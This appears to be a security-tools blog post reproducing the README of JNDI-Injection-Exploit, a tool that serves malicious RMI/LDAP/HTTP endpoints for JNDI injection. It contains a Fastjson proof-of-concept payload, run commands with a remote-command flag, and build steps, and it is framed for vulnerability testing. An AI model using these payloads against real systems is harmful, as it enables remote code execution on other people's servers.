Kali Linux

JNDI-Injection-Exploit : A Tool Which Generates JNDI Links Can Start Several Servers

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server, LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server.

Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.

For example, this is a Fastjson vul-poc:

{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://127.0.0.1:1099/Object”,”autoCommit”:true}

We can replace “rmi://127.0.0.1:1099/Object” with the link generated by JNDI-Injection-Exploit to test vulnerability.

Usage

Run as

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

where:

  • -C – command executed in the remote classfile.(optional , default command is “open /Applications/Calculator.app”)
  • -A – the address of your server, maybe an IP address or a domain.(optional , default address is the first network interface address)

Points for attention:

  • make sure your server’s ports (1099, 1389, 8180) are available .or you can change the default port in the run.ServerStart class line 26~28.
  • your command is passed to Runtime.getRuntime().exec() as parameters, so you need to ensure your command is workable in method exec().Command in bash like “bash -c ….” need to add Double quotes.

Examples

Local demo:

  • Start the tool like this:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “open /Applications/Calculator.app” -A “127.0.0.1”

  • Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection.

In this example, it looks like this:

public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup(“rmi://127.0.0.1/fgf4fp”);
}

then when we run this code, the command will be executed ,

and the log will be printed in shell.

Installation

We can select one of the two methods to get the jar.

  • Download the latest jar from Release.
  • Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+).

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

$ cd JNDI-Injection-Exploit

$ mvn clean package -DskipTests

R K

Recent Posts

The Growing Role of Digital Libraries in Remote Education

Learning Without Walls Remote education has long been a lifeline for students in rural areas…

10 hours ago

How Do I Do Reverse Image Search

Have you ever come across a picture on the internet and wondered where it came…

24 hours ago

WhatsMyName App – Find Anyone Across 640+ Platforms

Overview WhatsMyName is a free, community-driven OSINT tool designed to identify where a username exists…

2 weeks ago

Analyzing Directory Size Linux Tools Explained

Managing disk usage is a crucial task for Linux users and administrators alike. Understanding which…

2 weeks ago

Understanding Disk Usage with du Command

Efficient disk space management is vital in Linux, especially for system administrators who manage servers…

2 weeks ago

How to Check Directory Size in Linux

Knowing how to check directory sizes in Linux is essential for managing disk space and…

2 weeks ago